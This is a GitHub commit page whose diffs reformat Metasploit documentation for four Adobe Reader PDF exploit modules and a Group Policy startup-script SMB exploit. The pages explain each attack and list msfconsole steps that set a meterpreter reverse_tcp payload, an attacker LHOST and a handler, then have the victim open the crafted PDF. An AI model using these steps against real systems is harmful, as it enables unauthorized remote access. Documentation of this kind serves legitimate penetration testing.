Skip to content

Commit 59d9834

Browse files
kenlacroixkenlacroix
authored
Merge pull request rapid7#1 from h00die/land-12661
doc touchup
2 parents b6ac86d + a945095 commit 59d9834

File tree

5 files changed

+98
-103
lines changed

5 files changed

+98
-103
lines changed

‎documentation/modules/exploit/windows/fileformat/adobe_geticon.md

Lines changed: 25 additions & 39 deletions
Original file line numberDiff line numberDiff line change
@@ -1,59 +1,45 @@
11
## Vulnerable Application
22

3-
This module exploits a buffer overflow in Adobe Reader and Adobe Acrobat. Affected versions include < 7.1.1, < 8.1.3, and < 9.1. By creating a specially crafted pdf that a contains malformed `Collab.getIcon()` call, an attacker may be able to execute arbitrary code.
3+
This module exploits a buffer overflow in Adobe Reader and Adobe Acrobat. Affected versions include < 7.1.1, < 8.1.3, and < 9.1.
4+
By creating a specially crafted pdf that a contains malformed `Collab.getIcon()` call, an attacker may be able to execute arbitrary code.
45

5-
Link to vulnerable software (OldVersion)[http://www.oldversion.com/windows/download/acrobat-reader-8-0-0]
6+
Link to vulnerable software [OldVersion](http://www.oldversion.com/windows/download/acrobat-reader-8-0-0)
67

78
### Test results (on Windows XP SP3)
8-
reader 7.0.5 - no trigger
9-
reader 7.0.8 - no trigger
10-
reader 7.0.9 - no trigger
11-
reader 7.1.0 - no trigger
12-
reader 7.1.1 - reported not vulnerable
13-
reader 8.0.0 - works
14-
reader 8.1.2 - works
15-
reader 8.1.3 - reported not vulnerable
16-
reader 9.0.0 - works
17-
reader 9.1.0 - reported not vulnerable
189

19-
## Options
10+
* reader 7.0.5 - no trigger
11+
* reader 7.0.8 - no trigger
12+
* reader 7.0.9 - no trigger
13+
* reader 7.1.0 - no trigger
14+
* reader 7.1.1 - reported not vulnerable
15+
* reader 8.0.0 - works
16+
* reader 8.1.2 - works
17+
* reader 8.1.3 - reported not vulnerable
18+
* reader 9.0.0 - works
19+
* reader 9.1.0 - reported not vulnerable
2020

21-
```
22-
FILENAME
23-
```
24-
The file name
25-
26-
```
27-
PDF::Encoder [value]
28-
```
29-
Select encoder for JavaScript Stream, valid values are ASCII85, FLATE, and ASCIIHEX
21+
## Options
3022

31-
```
32-
PDF::Method [value]
33-
```
34-
Select PAGE, DOCUMENT, or ANNOTATION
23+
**FILENAME**
3524

36-
```
37-
PDF::Obfuscate [yes/no]
38-
```
39-
Whether or not we should obfuscate the output
25+
The file name
4026

4127
## Verification Steps
4228

4329
1. Install application on the target machine
4430
2. Start msfconsole
45-
3. Do: `use exploit/windows/fileformat/adobe_geticon`
46-
4. Do: `set payload [windows/meterpreter/reverse_tcp]`
47-
5. Do: `set LHOST [IP]`
48-
6. Do: `exploit`
49-
7. Do: `use [exploit/multi/handler]`
50-
8. Do: `set LHOST [IP]`
51-
9. Do: `exploit`
52-
10. Do: `Open PDF on target machine with vulnerable software`
31+
3. Do: ```use exploit/windows/fileformat/adobe_geticon```
32+
4. Do: ```set payload [windows/meterpreter/reverse_tcp]```
33+
5. Do: ```set LHOST [IP]```
34+
6. Do: ```exploit```
35+
7. Do: ```use exploit/multi/handler```
36+
8. Do: ```set LHOST [IP]```
37+
9. Do: ```exploit```
38+
10. Do: Open PDF on target machine with vulnerable software
5339

5440
## Scenarios
5541

56-
### A run on Adobe Reader 8.0.0 and Windows XP (5.1 Build 2600, Service Pack 3)
42+
### Adobe Reader 8.0.0 on Windows XP (5.1 Build 2600, Service Pack 3)
5743

5844
```
5945
msf > use exploit/windows/fileformat/adobe_geticon

‎documentation/modules/exploit/windows/fileformat/adobe_embedded_pdf_exe.md renamed to ‎documentation/modules/exploit/windows/fileformat/adobe_pdf_embedded_exe.md

Lines changed: 19 additions & 23 deletions
Original file line numberDiff line numberDiff line change
@@ -2,46 +2,42 @@
22

33
This module embeds a Metasploit payload into an existing PDF file. The resulting PDF can be sent to a target as part of a social engineering attack.
44

5-
Link to vulnerable software (OldVersion)[http://www.oldversion.com/windows/download/acrobat-reader-8-2-0]
5+
Link to vulnerable software [OldVersion](http://www.oldversion.com/windows/download/acrobat-reader-8-2-0)
66

77
## Verification Steps
88

99
1. Install application on the target machine
1010
2. Start msfconsole
11-
3. Do: `use exploit/windows/fileformat/adobe_pdf_embedded_exe`
12-
4. Do: `set payload [windows/meterpreter/reverse_tcp]`
13-
5. Do: `set LHOST [IP]`
14-
6. Do: `exploit`
15-
7. Do: `use [exploit/multi/handler]`
16-
8. Do: `set LHOST [IP]`
17-
9. Do: `exploit`
18-
10. Do: `Open PDF on target machine with vulnerable software`
11+
3. Do: ```use exploit/windows/fileformat/adobe_pdf_embedded_exe```
12+
4. Do: ```set payload [windows/meterpreter/reverse_tcp]```
13+
5. Do: ```set LHOST [IP]```
14+
6. Do: ```exploit```
15+
7. Do: ```use exploit/multi/handler```
16+
8. Do: ```set LHOST [IP]```
17+
9. Do: ```exploit```
18+
10. Do: Open PDF on target machine with vulnerable software
1919

2020
## Options
2121

22-
```
23-
EXENAME
24-
```
22+
**EXENAME**
23+
2524
The Name of payload exe.
2625

27-
```
28-
FILENAME
29-
```
26+
**FILENAME**
27+
3028
The output filename.
3129

32-
```
33-
INFILENAME
34-
```
30+
**INFILENAME**
31+
3532
The Input PDF filename.
3633

37-
```
38-
LAUNCH_MESSAGE
39-
```
40-
The message to display in the File: area of the PDF.
34+
**LAUNCH_MESSAGE**
35+
36+
The message to display in the `File:` area of the PDF.
4137

4238
## Scenarios
4339

44-
### A run on Adobe Reader 8.2.0 and Windows XP (5.1 Build 2600, Service Pack 3)
40+
### Adobe Reader 8.2.0 on Windows XP (5.1 Build 2600, Service Pack 3)
4541

4642
```
4743
msf > use exploit/windows/fileformat/adobe_pdf_embedded_exe

‎documentation/modules/exploit/windows/fileformat/adobe_reader_u3d.md

Lines changed: 18 additions & 17 deletions
Original file line numberDiff line numberDiff line change
@@ -1,37 +1,38 @@
11
## Vulnerable Application
22

3-
This module exploits a vulnerability in the U3D handling within versions 9.x through 9.4.6 and 10 through to 10.1.1 of Adobe Reader. The vulnerability is due to the use of uninitialized memory. Arbitrary code execution is achieved by embedding specially crafted U3D data into a PDF document. A heap spray via JavaScript is used in order to ensure that the memory used by the invalid pointer issue is controlled.
3+
This module exploits a vulnerability in the U3D handling within versions 9.x through 9.4.6 and 10 through to 10.1.1 of Adobe Reader.
4+
The vulnerability is due to the use of uninitialized memory. Arbitrary code execution is achieved by embedding specially
5+
crafted U3D data into a PDF document. A heap spray via JavaScript is used in order to ensure that the memory
6+
used by the invalid pointer issue is controlled.
47

5-
Link to vulnerable software (OldVersion)[http://www.oldversion.com/windows/download/acrobat-reader-9-4-0]
8+
Link to vulnerable software [OldVersion](http://www.oldversion.com/windows/download/acrobat-reader-9-4-0)
69

710
## Verification Steps
811

912
1. Install application on the target machine
1013
2. Start msfconsole
11-
3. Do: `use exploit/windows/fileformat/adobe_reader_u3d`
12-
4. Do: `set payload [windows/meterpreter/reverse_tcp]`
13-
5. Do: `set LHOST [IP]`
14-
6. Do: `exploit`
15-
7. Do: `use [exploit/multi/handler]`
16-
8. Do: `set LHOST [IP]`
17-
9. Do: `exploit`
18-
10. Do: `Open PDF on target machine with vulnerable software`
14+
3. Do: ```use exploit/windows/fileformat/adobe_reader_u3d```
15+
4. Do: ```set payload [windows/meterpreter/reverse_tcp]```
16+
5. Do: ```set LHOST [IP]```
17+
6. Do: ```exploit```
18+
7. Do: ```use [exploit/multi/handler```
19+
8. Do: ```set LHOST [IP]```
20+
9. Do: ```exploit```
21+
10. Do: Open PDF on target machine with vulnerable software
1922

2023
## Options
2124

22-
```
23-
FILENAME
24-
```
25+
**FILENAME**
26+
2527
The file name.
2628

27-
```
28-
OBFUSCATE
29-
```
29+
**OBFUSCATE**
30+
3031
Enable JavaScript obfuscation
3132

3233
## Scenarios
3334

34-
### A run on Adobe Reader 9.4.0 and Windows XP (5.1 Build 2600, Service Pack 3)
35+
### Adobe Reader 9.4.0 on Windows XP (5.1 Build 2600, Service Pack 3)
3536

3637
```
3738
msf > use exploit/windows/fileformat/adobe_reader_u3d

‎documentation/modules/exploit/windows/fileformat/adobe_utilprintf.md

Lines changed: 12 additions & 11 deletions
Original file line numberDiff line numberDiff line change
@@ -1,25 +1,26 @@
11
## Vulnerable Application
22

3-
This module exploits a buffer overflow in Adobe Reader and Adobe Acrobat Professional < 8.1.3. By creating a specially crafted pdf that a contains malformed util.printf() entry, an attacker may be able to execute arbitrary code.
3+
This module exploits a buffer overflow in Adobe Reader and Adobe Acrobat Professional < 8.1.3. By creating a specially
4+
crafted pdf that a contains malformed `util.printf()` entry, an attacker may be able to execute arbitrary code.
45

5-
Link to vulnerable software (OldVersion)[http://www.oldversion.com/windows/download/acrobat-reader-8-0-0]
6+
Link to vulnerable software [OldVersion](http://www.oldversion.com/windows/download/acrobat-reader-8-0-0)
67

78
## Verification Steps
89

910
1. Install application on the target machine
1011
2. Start msfconsole
11-
3. Do: `use exploit/windows/fileformat/adobe_utilprintf`
12-
4. Do: `set payload [windows/meterpreter/reverse_tcp]`
13-
5. Do: `set LHOST [IP]`
14-
6. Do: `exploit`
15-
7. Do: `use [exploit/multi/handler]`
16-
8. Do: `set LHOST [IP]`
17-
9. Do: `exploit`
18-
10. Do: `Open PDF on target machine with vulnerable software`
12+
3. Do: ```use exploit/windows/fileformat/adobe_utilprintf```
13+
4. Do: ```set payload [windows/meterpreter/reverse_tcp]```
14+
5. Do: ```set LHOST [IP]```
15+
6. Do: ```exploit```
16+
7. Do: ```use exploit/multi/handler```
17+
8. Do: ```set LHOST [IP]```
18+
9. Do: ```exploit```
19+
10. Do: Open PDF on target machine with vulnerable software
1920

2021
## Scenarios
2122

22-
### A run on Adobe Reader 8.0.0 and Windows XP (5.1 Build 2600, Service Pack 3)
23+
### Adobe Reader 8.0.0 on Windows XP (5.1 Build 2600, Service Pack 3)
2324

2425
```
2526
msf > use exploit/windows/fileformat/adobe_utilprintf

‎documentation/modules/exploit/windows/smb/group_policy_startup.md

Lines changed: 24 additions & 13 deletions
Original file line numberDiff line numberDiff line change
@@ -1,36 +1,47 @@
11
## Vulnerable Application
22

3-
This is a general-purpose module for exploiting systems with Windows Group Policy configured to load VBS startup/logon scripts from remote locations. This module runs a SMB shared resource that will provide a payload through a VBS file. Startup scripts will be executed with SYSTEM privileges, while logon scripts will be executed with the user privileges. The attacker still needs to redirect the target traffic to the fake SMB share to exploit it successfully. Please note in some cases, it will take 5 to 10 minutes to receive a session.
3+
This is a general-purpose module for exploiting systems with Windows Group Policy configured to load VBS startup/logon scripts from remote locations.
4+
This module runs a SMB shared resource that will provide a payload through a VBS file. Startup scripts will be executed with SYSTEM privileges,
5+
while logon scripts will be executed with the user privileges. The attacker still needs to redirect the target traffic to the fake SMB
6+
share to exploit it successfully.
7+
8+
Please note in some cases, it will take 5 to 10 minutes to receive a session.
49

510
More information available at [Gotham Digital Science Security](https://blog.gdssecurity.com/labs/2015/1/26/badsamba-exploiting-windows-startup-scripts-using-a-maliciou.html)
611

712
## Verification Steps
813

914
1. Start msfconsole
10-
2. Do: `use modules/exploits/windows/smb/group_policy_startup`
11-
3. Do: `exploit`
15+
2. Do: ```use modules/exploits/windows/smb/group_policy_startup```
16+
3. Do: ```exploit```
1217

1318
## Options
1419

15-
```
16-
FILE_NAME
17-
```
20+
**FILE_NAME**
21+
1822
VBS File name to share (Default: random .vbs)
1923

20-
```
21-
FOLDER_NAME
22-
```
24+
**FOLDER_NAME**
25+
2326
Folder name to share (Default: none)
2427

25-
```
26-
SHARE
27-
```
28+
**SHARE**
29+
2830
Share name (Default: Random)
2931

3032

3133
## Scenarios
3234

33-
A run on Windows 7 (x64, Build 7601, SP1) and Server 2016 (x64, Version 1607, OS Build 14393.970) using Group Policy applied from the Domain Controller.
35+
### Domain Group Policy
36+
37+
In this scenario, the following computers are present:
38+
39+
1. Windows 7 (x64, Build 7601, SP1): Victim
40+
2. Server 2016 (x64, Version 1607, OS Build 14393.970): Domain Controller
41+
42+
The module sets up the SMB share and VBScript file. Out of band (outside the scope of this module or docs) a Group Policy is simply applied to the `OU` computer container.
43+
Next, the Win 7 box grabs the payload, in this case the meterpreter reverse_tcp stager on boot, with `SYSTEM` privs because its executed as a start up script.
44+
Theoretically, any computer in that `OU` would also execute the script on started up.
3445

3546
```
3647
msf > use modules/exploits/windows/smb/group_policy_startup

0 commit comments

Comments
 (0)